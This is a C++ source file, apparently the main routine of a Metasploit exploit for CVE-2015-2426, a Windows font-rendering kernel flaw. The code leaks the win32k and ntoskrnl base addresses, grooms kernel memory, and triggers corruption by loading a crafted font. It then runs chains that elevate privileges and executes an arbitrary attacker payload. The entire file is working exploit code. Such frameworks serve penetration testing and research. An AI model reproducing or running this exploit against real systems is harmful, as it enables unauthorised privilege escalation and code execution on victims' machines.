Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp
19778 views
// Exploit.cpp : Defines the entry point for the console application.1//2#include <Windows.h>34#include "Exploit.h"5#include "Win32kLeaker.h"6#include "Exploiter.h"7#include "FontData.h"89static VOID ExecutePayload(LPVOID lpPayload)10{11VOID(*lpCode)() = (VOID(*)())lpPayload;12lpCode();13return;14}1516VOID Exploit(LPVOID lpPayload)17{18// Variables.19DWORD cFonts;20PVOID pFontData = (PVOID)fontData;21DWORD ExAllocatePoolWithTag_offset;22ULONGLONG win32kBaseAddr;23ULONGLONG ntBaseAddr;2425ExploiterInit();2627// Leak the win32k base address.28win32kBaseAddr = LeakWin32kAddress();29if (win32kBaseAddr == NULL) {30return;31}3233ExploiterSetupFirstChain(win32kBaseAddr);34ExploiterDoFengShui();3536// Trigger the memory corruption: Render the font and cause memory overwrite.37cFonts = 0;38HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts);39// Clean up: remove the font from memory.40RemoveFontMemResourceEx(fh);4142// First Stage: Leak ntoskrnl43ExploiterRunFirstChain();44ntBaseAddr = ExploiterGetNtBase();4546// Second Stage: elevate privileges47ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr);48ExploiterRunSecondChain();49ExpoiterCleanUp();5051// Exetue msf payload52ExecutePayload(lpPayload);53}54555657